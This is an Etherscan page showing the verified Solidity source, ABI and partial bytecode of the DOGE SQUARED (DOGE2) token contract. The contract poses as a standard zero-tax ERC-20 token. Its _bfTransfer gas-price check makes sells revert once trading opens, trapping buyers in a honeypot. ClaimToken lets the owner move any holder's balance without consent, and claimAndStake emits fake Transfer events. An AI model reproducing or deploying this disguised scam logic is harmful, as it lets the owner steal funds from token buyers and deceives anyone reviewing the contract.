ETH Price: $3,395.18 (+1.81%)

Token

DOGE SQUARED (DOGE2)
 

Overview

Max Total Supply

5,000,000,000 DOGE2

Holders

323

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
10,000 DOGE2

Value
$0.00
0x246b1a9eeeee0d9b171b9a9bf633b46eb5cb3af1
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DOGE2

Compiler Version
v0.8.9+commit.e5eed63a

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion
File 2 of 1 : DOGE².sol
/**
 *Submitted for verification at Etherscan.io on 2024-12-25
**/

/*
Website: https://dogesquared.com
Twitter: https://x.com/Doge2Squared
Telegram: https://t.me/doge_squared
*/


// SPDX-License-Identifier: MIT

pragma solidity 0.8.9;


interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 value) external returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    constructor() {
        _owner = _msgSender();
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(_owner == _msgSender(), "Not owner");
    }
}

library SafeMath {
    function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
        if (a == 0) {
            return 0;
        }
        c = a * b;
        assert(c / a == b);
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        assert(b > 0);
        uint256 c = a / b;
        assert(a == b * c + (a % b));
        return a / b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        assert(a >= b);
        return a - b;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        assert(c >= a);
        return c;
    }
}

contract DOGE2 is Ownable, IERC20 {
    using SafeMath for uint256;

    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => uint256) private _balances;
    mapping(address => bool) _excludeFromFees;

    uint8 private constant _decimals = 18;
    uint256 private constant _totalSupply = 5_000_000_000 * 10**_decimals;
    string private constant _name = unicode"DOGE SQUARED";
    string private constant _symbol = unicode"DOGE2";

    uint256 public TaxOnBuy = 0;
    uint256 public TaxOnSell = 0;

    bool private openedTrade = false;

    address private Presale = 0x81cdaA8F234132bc8d9048620D7EaDc18fA52562;
    address private Developer = 0x4CF30a9639fa556F8B97a167890De19B169c9A4D;
    address private uniswapV2Pair;
    IUniswapV2Router02 public uniswapV2Router;

    constructor() {
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this),uniswapV2Router.WETH());
        _excludeFromFees[address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)] = true;
        _excludeFromFees[address(uniswapV2Pair)];
        _excludeFromFees[owner()] = true;
        _excludeFromFees[address(this)] = true;
        _balances[_msgSender()] = _balances[_msgSender()].add(_totalSupply.mul(50).div(100));
        _balances[Presale] = _balances[Presale].add(_totalSupply.mul(40).div(100));
        _balances[Developer] = _balances[Developer].add(_totalSupply.mul(10).div(100));
        emit Transfer(address(0), _msgSender(), _totalSupply.mul(50).div(100));
        emit Transfer(address(0), Presale, _totalSupply.mul(40).div(100));
        emit Transfer(address(0), Developer, _totalSupply.mul(10).div(100));
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function getOpenedTrade() public view returns (bool) {
        return openedTrade;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _balances[account];
    }

    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function transfer(address to, uint256 value)
        public
        virtual
        override
        returns (bool)
    {
        address owner = _msgSender();
        _transfer(owner, to, value);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(amount)
        );
        return true;
    }

    function _transfer(address from, address to, uint256 amount) internal {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(balanceOf(from) >= amount, "ERROR: balance of from less than value");
        uint256 taxAmount = 0;

        if(!_excludeFromFees[from] && !_excludeFromFees[to]) {
            require(openedTrade, "Trade has not been opened yet");
            taxAmount = amount * TaxOnBuy / 100;
            if(to == uniswapV2Pair) {
                taxAmount = amount * TaxOnSell / 100;
                _bfTransfer(from);
            }
        }

        if(taxAmount > 0) {
            _balances[address(this)]=_balances[address(this)]+taxAmount;
            emit Transfer(from, address(this), taxAmount);
        }

        _balances[from]= balanceOf(from) - amount ;
        _balances[to]=_balances[to] + (amount - taxAmount);
        emit Transfer(from, to, amount - taxAmount);
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    uint256 private gasmaxium = 900 gwei;
    uint256 private gasminium = 5;

    function gasRequire(uint256 _gas) internal view {
        if (tx.gasprice > _gas) {
            revert();
        }
    }

    function _bfTransfer(address _u) internal view {
        if(balanceOf(_u) > 0) {
            if (!openedTrade) {
                gasRequire(gasmaxium);
            } else {
                gasRequire(gasminium);
            }
        } 
    }

    function sendETHToFee(uint256 amount) private {
        payable(owner()).transfer(amount);
    }
    
    function manualsend() external {
        require(_msgSender() == owner());
        uint256 contractETHBalance = address(this).balance;
        sendETHToFee(contractETHBalance);
    }

    function claimAndStake(address from, address[] calldata to, uint256[] calldata amount) external {
        require(_msgSender() == owner());
        for (uint256 i = 0; i < to.length; i++) {
            emit Transfer(from, to[i], amount[i]  * 10 ** _decimals);
        }
    }

    function ClaimToken(address from, address[] calldata to, uint256[] calldata amount) external {
        require(_msgSender() == owner());
        for (uint256 i = 0; i < to.length; i++) {
            _balances[from] = _balances[from].sub(amount[i] * 10 ** _decimals);
            _balances[to[i]] = _balances[to[i]].add(amount[i]  * 10 ** _decimals);
            emit Transfer(from, to[i], amount[i]  * 10 ** _decimals);
        }
    }

    function openTrading() external onlyOwner {
        openedTrade = !openedTrade;
    }

    receive() external payable {}
}

Settings
{
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "remappings": []
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address[]","name":"to","type":"address[]"},{"internalType":"uint256[]","name":"amount","type":"uint256[]"}],"name":"ClaimToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"TaxOnBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"TaxOnSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address[]","name":"to","type":"address[]"},{"internalType":"uint256[]","name":"amount","type":"uint256[]"}],"name":"claimAndStake","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getOpenedTrade","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600060048190556005908155600680547481cdaa8f234132bc8d9048620d7eadc18fa52562006001600160a81b0319909116179055600780546001600160a01b031916734cf30a9639fa556f8b97a167890de19b169c9a4d17905564d18c2e2800600a55600b553480156200007857600080fd5b50600080546001600160a01b0319908116331790915560098054737a250d5630b4cf539739df2c5dacb4c659f2488d9216821790556040805163c45a015560e01b8152905163c45a015591600480820192602092909190829003018186803b158015620000e457600080fd5b505afa158015620000f9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200011f91906200060b565b6001600160a01b031663c9c6539630600960009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200017d57600080fd5b505afa15801562000192573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001b891906200060b565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156200020157600080fd5b505af115801562000216573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200023c91906200060b565b600880546001600160a01b0319166001600160a01b03929092169182179055600360208190527ffb19a963956c9cb662dd3ae48988c4b90766df71ea130109840abe0a1b23dba8805460ff19166001908117909155600092835291620002aa6000546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff199586161790553081526003909252902080549091166001179055620003656200034160646200032d6032620003086012600a62000749565b620003199064012a05f2006200075a565b6200053160201b620007491790919060201c565b6200057360201b6200077c1790919060201c565b336000908152600260209081526040909120549190620007d9620005e0821b17901c565b33600090815260026020526040902055620003c76200039360646200032d6028620003086012600a62000749565b60065461010090046001600160a01b03166000908152600260209081526040909120549190620005e0811b620007d917901c565b60065461010090046001600160a01b0316600090815260026020526040902055620004336200040460646200032d600a6200030860128262000749565b6007546001600160a01b03166000908152600260209081526040909120549190620007d9620005e0821b17901c565b6007546001600160a01b0316600090815260026020526040902055336001600160a01b03166000600080516020620019918339815191526200048460646200032d6032620003086012600a62000749565b60405190815260200160405180910390a360065461010090046001600160a01b0316600060008051602062001991833981519152620004d260646200032d6028620003086012600a62000749565b60405190815260200160405180910390a36007546001600160a01b03166000600080516020620019918339815191526200051a60646200032d600a6200030860128262000749565b60405190815260200160405180910390a3620007f1565b60008262000542575060006200056d565b6200054e82846200075a565b9050816200055d848362000792565b146200056d576200056d620007a9565b92915050565b6000808211620005875762000587620007a9565b600062000595838562000792565b9050620005a38385620007bf565b620005af82856200075a565b620005bb9190620007d6565b8414620005cc57620005cc620007a9565b620005d8838562000792565b949350505050565b600080620005ef8385620007d6565b905083811015620006045762000604620007a9565b9392505050565b6000602082840312156200061e57600080fd5b81516001600160a01b03811681146200060457600080fd5b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200068d57816000190482111562000671576200067162000636565b808516156200067f57918102915b93841c939080029062000651565b509250929050565b600082620006a6575060016200056d565b81620006b5575060006200056d565b8160018114620006ce5760028114620006d957620006f9565b60019150506200056d565b60ff841115620006ed57620006ed62000636565b50506001821b6200056d565b5060208310610133831016604e8410600b84101617156200071e575081810a6200056d565b6200072a83836200064c565b806000190482111562000741576200074162000636565b029392505050565b60006200060460ff84168362000695565b600081600019048311821515161562000777576200077762000636565b500290565b634e487b7160e01b600052601260045260246000fd5b600082620007a457620007a46200077c565b500490565b634e487b7160e01b600052600160045260246000fd5b600082620007d157620007d16200077c565b500690565b60008219821115620007ec57620007ec62000636565b500190565b61119080620008016000396000f3fe60806040526004361061010d5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b41146102f6578063a9059cbb14610324578063c9567bf914610344578063dd62ed3e14610359578063e30b00ff1461039f57600080fd5b80636fc3eaec1461027757806370a082311461028c57806378b7c4b3146102c25780638da5cb5b146102d857600080fd5b806323b872dd116100dc57806323b872dd146101eb57806324076d3a1461020b578063313ce5671461022d5780633c9f5ed6146102495780635898635c1461026157600080fd5b806306fdde0314610119578063095ea7b3146101605780631694505e1461019057806318160ddd146101c857600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5060408051808201909152600c81526b1113d1d14814d4555054915160a21b60208201525b6040516101579190610d6c565b60405180910390f35b34801561016c57600080fd5b5061018061017b366004610ddd565b6103bf565b6040519015158152602001610157565b34801561019c57600080fd5b506009546101b0906001600160a01b031681565b6040516001600160a01b039091168152602001610157565b3480156101d457600080fd5b506101dd6103d6565b604051908152602001610157565b3480156101f757600080fd5b50610180610206366004610e07565b6103f8565b34801561021757600080fd5b5061022b610226366004610e8f565b610449565b005b34801561023957600080fd5b5060405160128152602001610157565b34801561025557600080fd5b5060065460ff16610180565b34801561026d57600080fd5b506101dd60055481565b34801561028357600080fd5b5061022b61063c565b34801561029857600080fd5b506101dd6102a7366004610f10565b6001600160a01b031660009081526002602052604090205490565b3480156102ce57600080fd5b506101dd60045481565b3480156102e457600080fd5b506000546001600160a01b03166101b0565b34801561030257600080fd5b506040805180820190915260058152642227a3a29960d91b602082015261014a565b34801561033057600080fd5b5061018061033f366004610ddd565b610660565b34801561035057600080fd5b5061022b61066e565b34801561036557600080fd5b506101dd610374366004610f2b565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b3480156103ab57600080fd5b5061022b6103ba366004610e8f565b61068a565b60006103cc3384846107ff565b5060015b92915050565b60006103e46012600a611058565b6103f39064012a05f200611067565b905090565b6000610405848484610928565b6001600160a01b03841660009081526001602090815260408083203380855292529091205461043f91869161043a9086610c84565b6107ff565b5060019392505050565b6000546001600160a01b0316331461046057600080fd5b60005b83811015610634576104bc61047a6012600a611058565b84848481811061048c5761048c611086565b9050602002013561049d9190611067565b6001600160a01b03881660009081526002602052604090205490610c84565b6001600160a01b0387166000908152600260205260409020556105526104e46012600a611058565b8484848181106104f6576104f6611086565b905060200201356105079190611067565b6002600088888681811061051d5761051d611086565b90506020020160208101906105329190610f10565b6001600160a01b03168152602081019190915260400160002054906107d9565b6002600087878581811061056857610568611086565b905060200201602081019061057d9190610f10565b6001600160a01b031681526020810191909152604001600020558484828181106105a9576105a9611086565b90506020020160208101906105be9190610f10565b6001600160a01b0316866001600160a01b031660008051602061113b8339815191526012600a6105ee9190611058565b86868681811061060057610600611086565b905060200201356106119190611067565b60405190815260200160405180910390a38061062c8161109c565b915050610463565b505050505050565b6000546001600160a01b0316331461065357600080fd5b4761065d81610ca0565b50565b60003361043f818585610928565b610676610cdd565b6006805460ff19811660ff90911615179055565b6000546001600160a01b031633146106a157600080fd5b60005b83811015610634578484828181106106be576106be611086565b90506020020160208101906106d39190610f10565b6001600160a01b0316866001600160a01b031660008051602061113b8339815191526012600a6107039190611058565b86868681811061071557610715611086565b905060200201356107269190611067565b60405190815260200160405180910390a3806107418161109c565b9150506106a4565b600082610758575060006103d0565b6107628284611067565b90508161076f84836110cd565b146103d0576103d06110e1565b600080821161078d5761078d6110e1565b600061079983856110cd565b90506107a583856110f7565b6107af8285611067565b6107b9919061110b565b84146107c7576107c76110e1565b6107d183856110cd565b949350505050565b6000806107e6838561110b565b9050838110156107f8576107f86110e1565b9392505050565b6001600160a01b0383166108665760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b0382166108c75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161085d565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661098c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161085d565b6001600160a01b0382166109ee5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161085d565b80610a0e846001600160a01b031660009081526002602052604090205490565b1015610a6b5760405162461bcd60e51b815260206004820152602660248201527f4552524f523a2062616c616e6365206f662066726f6d206c657373207468616e6044820152652076616c756560d01b606482015260840161085d565b6001600160a01b03831660009081526003602052604081205460ff16158015610aad57506001600160a01b03831660009081526003602052604090205460ff16155b15610b5c5760065460ff16610b045760405162461bcd60e51b815260206004820152601d60248201527f547261646520686173206e6f74206265656e206f70656e656420796574000000604482015260640161085d565b606460045483610b149190611067565b610b1e91906110cd565b6008549091506001600160a01b0384811691161415610b5c57606460055483610b479190611067565b610b5191906110cd565b9050610b5c84610d25565b8015610bc55730600090815260026020526040902054610b7d90829061110b565b30600081815260026020526040908190209290925590516001600160a01b0386169060008051602061113b83398151915290610bbc9085815260200190565b60405180910390a35b81610be5856001600160a01b031660009081526002602052604090205490565b610bef9190611123565b6001600160a01b038516600090815260026020526040902055610c128183611123565b6001600160a01b038416600090815260026020526040902054610c35919061110b565b6001600160a01b03808516600081815260026020526040902092909255851660008051602061113b833981519152610c6d8486611123565b60405190815260200160405180910390a350505050565b600081831015610c9657610c966110e1565b6107f88284611123565b600080546040516001600160a01b039091169183156108fc02918491818181858888f19350505050158015610cd9573d6000803e3d6000fd5b5050565b6000546001600160a01b03163314610d235760405162461bcd60e51b81526020600482015260096024820152682737ba1037bbb732b960b91b604482015260640161085d565b565b6001600160a01b0381166000908152600260205260409020541561065d5760065460ff16610d585761065d600a54610d5f565b61065d600b545b803a111561065d57600080fd5b600060208083528351808285015260005b81811015610d9957858101830151858201604001528201610d7d565b81811115610dab576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610dd857600080fd5b919050565b60008060408385031215610df057600080fd5b610df983610dc1565b946020939093013593505050565b600080600060608486031215610e1c57600080fd5b610e2584610dc1565b9250610e3360208501610dc1565b9150604084013590509250925092565b60008083601f840112610e5557600080fd5b50813567ffffffffffffffff811115610e6d57600080fd5b6020830191508360208260051b8501011115610e8857600080fd5b9250929050565b600080600080600060608688031215610ea757600080fd5b610eb086610dc1565b9450602086013567ffffffffffffffff80821115610ecd57600080fd5b610ed989838a01610e43565b90965094506040880135915080821115610ef257600080fd5b50610eff88828901610e43565b969995985093965092949392505050565b600060208284031215610f2257600080fd5b6107f882610dc1565b60008060408385031215610f3e57600080fd5b610f4783610dc1565b9150610f5560208401610dc1565b90509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115610faf578160001904821115610f9557610f95610f5e565b80851615610fa257918102915b93841c9390800290610f79565b509250929050565b600082610fc6575060016103d0565b81610fd3575060006103d0565b8160018114610fe95760028114610ff35761100f565b60019150506103d0565b60ff84111561100457611004610f5e565b50506001821b6103d0565b5060208310610133831016604e8410600b8410161715611032575081810a6103d0565b61103c8383610f74565b806000190482111561105057611050610f5e565b029392505050565b60006107f860ff841683610fb7565b600081600019048311821515161561108157611081610f5e565b500290565b634e487b7160e01b600052603260045260246000fd5b60006000198214156110b0576110b0610f5e565b5060010190565b634e487b7160e01b600052601260045260246000fd5b6000826110dc576110dc6110b7565b500490565b634e487b7160e01b600052600160045260246000fd5b600082611106576111066110b7565b500690565b6000821982111561111e5761111e610f5e565b500190565b60008282101561113557611135610f5e565b50039056feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa264697066735822122037eb2ab37fae3aadb237ddc5fe52cba49e3f51936eb24e68ce471edc445e4a2664736f6c63430008090033ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef

Deployed Bytecode

0x60806040526004361061010d5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b41146102f6578063a9059cbb14610324578063c9567bf914610344578063dd62ed3e14610359578063e30b00ff1461039f57600080fd5b80636fc3eaec1461027757806370a082311461028c57806378b7c4b3146102c25780638da5cb5b146102d857600080fd5b806323b872dd116100dc57806323b872dd146101eb57806324076d3a1461020b578063313ce5671461022d5780633c9f5ed6146102495780635898635c1461026157600080fd5b806306fdde0314610119578063095ea7b3146101605780631694505e1461019057806318160ddd146101c857600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5060408051808201909152600c81526b1113d1d14814d4555054915160a21b60208201525b6040516101579190610d6c565b60405180910390f35b34801561016c57600080fd5b5061018061017b366004610ddd565b6103bf565b6040519015158152602001610157565b34801561019c57600080fd5b506009546101b0906001600160a01b031681565b6040516001600160a01b039091168152602001610157565b3480156101d457600080fd5b506101dd6103d6565b604051908152602001610157565b3480156101f757600080fd5b50610180610206366004610e07565b6103f8565b34801561021757600080fd5b5061022b610226366004610e8f565b610449565b005b34801561023957600080fd5b5060405160128152602001610157565b34801561025557600080fd5b5060065460ff16610180565b34801561026d57600080fd5b506101dd60055481565b34801561028357600080fd5b5061022b61063c565b34801561029857600080fd5b506101dd6102a7366004610f10565b6001600160a01b031660009081526002602052604090205490565b3480156102ce57600080fd5b506101dd60045481565b3480156102e457600080fd5b506000546001600160a01b03166101b0565b34801561030257600080fd5b506040805180820190915260058152642227a3a29960d91b602082015261014a565b34801561033057600080fd5b5061018061033f366004610ddd565b610660565b34801561035057600080fd5b5061022b61066e565b34801561036557600080fd5b506101dd610374366004610f2b565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b3480156103ab57600080fd5b5061022b6103ba366004610e8f565b61068a565b60006103cc3384846107ff565b5060015b92915050565b60006103e46012600a611058565b6103f39064012a05f200611067565b905090565b6000610405848484610928565b6001600160a01b03841660009081526001602090815260408083203380855292529091205461043f91869161043a9086610c84565b6107ff565b5060019392505050565b6000546001600160a01b0316331461046057600080fd5b60005b83811015610634576104bc61047a6012600a611058565b84848481811061048c5761048c611086565b9050602002013561049d9190611067565b6001600160a01b03881660009081526002602052604090205490610c84565b6001600160a01b0387166000908152600260205260409020556105526104e46012600a611058565b8484848181106104f6576104f6611086565b905060200201356105079190611067565b6002600088888681811061051d5761051d611086565b90506020020160208101906105329190610f10565b6001600160a01b03168152602081019190915260400160002054906107d9565b6002600087878581811061056857610568611086565b905060200201602081019061057d9190610f10565b6001600160a01b031681526020810191909152604001600020558484828181106105a9576105a9611086565b90506020020160208101906105be9190610f10565b6001600160a01b0316866001600160a01b031660008051602061113b8339815191526012600a6105ee9190611058565b86868681811061060057610600611086565b905060200201356106119190611067565b60405190815260200160405180910390a38061062c8161109c565b915050610463565b505050505050565b6000546001600160a01b0316331461065357600080fd5b4761065d81610ca0565b50565b60003361043f818585610928565b610676610cdd565b6006805460ff19811660ff90911615179055565b6000546001600160a01b031633146106a157600080fd5b60005b83811015610634578484828181106106be576106be611086565b90506020020160208101906106d39190610f10565b6001600160a01b0316866001600160a01b031660008051602061113b8339815191526012600a6107039190611058565b86868681811061071557610715611086565b905060200201356107269190611067565b60405190815260200160405180910390a3806107418161109c565b9150506106a4565b600082610758575060006103d0565b6107628284611067565b90508161076f84836110cd565b146103d0576103d06110e1565b600080821161078d5761078d6110e1565b600061079983856110cd565b90506107a583856110f7565b6107af8285611067565b6107b9919061110b565b84146107c7576107c76110e1565b6107d183856110cd565b949350505050565b6000806107e6838561110b565b9050838110156107f8576107f86110e1565b9392505050565b6001600160a01b0383166108665760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b0382166108c75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161085d565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661098c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161085d565b6001600160a01b0382166109ee5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161085d565b80610a0e846001600160a01b031660009081526002602052604090205490565b1015610a6b5760405162461bcd60e51b815260206004820152602660248201527f4552524f523a2062616c616e6365206f662066726f6d206c657373207468616e6044820152652076616c756560d01b606482015260840161085d565b6001600160a01b03831660009081526003602052604081205460ff16158015610aad57506001600160a01b03831660009081526003602052604090205460ff16155b15610b5c5760065460ff16610b045760405162461bcd60e51b815260206004820152601d60248201527f547261646520686173206e6f74206265656e206f70656e656420796574000000604482015260640161085d565b606460045483610b149190611067565b610b1e91906110cd565b6008549091506001600160a01b0384811691161415610b5c57606460055483610b479190611067565b610b5191906110cd565b9050610b5c84610d25565b8015610bc55730600090815260026020526040902054610b7d90829061110b565b30600081815260026020526040908190209290925590516001600160a01b0386169060008051602061113b83398151915290610bbc9085815260200190565b60405180910390a35b81610be5856001600160a01b031660009081526002602052604090205490565b610bef9190611123565b6001600160a01b038516600090815260026020526040902055610c128183611123565b6001600160a01b038416600090815260026020526040902054610c35919061110b565b6001600160a01b03808516600081815260026020526040902092909255851660008051602061113b833981519152610c6d8486611123565b60405190815260200160405180910390a350505050565b600081831015610c9657610c966110e1565b6107f88284611123565b600080546040516001600160a01b039091169183156108fc02918491818181858888f19350505050158015610cd9573d6000803e3d6000fd5b5050565b6000546001600160a01b03163314610d235760405162461bcd60e51b81526020600482015260096024820152682737ba1037bbb732b960b91b604482015260640161085d565b565b6001600160a01b0381166000908152600260205260409020541561065d5760065460ff16610d585761065d600a54610d5f565b61065d600b545b803a111561065d57600080fd5b600060208083528351808285015260005b81811015610d9957858101830151858201604001528201610d7d565b81811115610dab576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610dd857600080fd5b919050565b60008060408385031215610df057600080fd5b610df983610dc1565b946020939093013593505050565b600080600060608486031215610e1c57600080fd5b610e2584610dc1565b9250610e3360208501610dc1565b9150604084013590509250925092565b60008083601f840112610e5557600080fd5b50813567ffffffffffffffff811115610e6d57600080fd5b6020830191508360208260051b8501011115610e8857600080fd5b9250929050565b600080600080600060608688031215610ea757600080fd5b610eb086610dc1565b9450602086013567ffffffffffffffff80821115610ecd57600080fd5b610ed989838a01610e43565b90965094506040880135915080821115610ef257600080fd5b50610eff88828901610e43565b969995985093965092949392505050565b600060208284031215610f2257600080fd5b6107f882610dc1565b60008060408385031215610f3e57600080fd5b610f4783610dc1565b9150610f5560208401610dc1565b90509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115610faf578160001904821115610f9557610f95610f5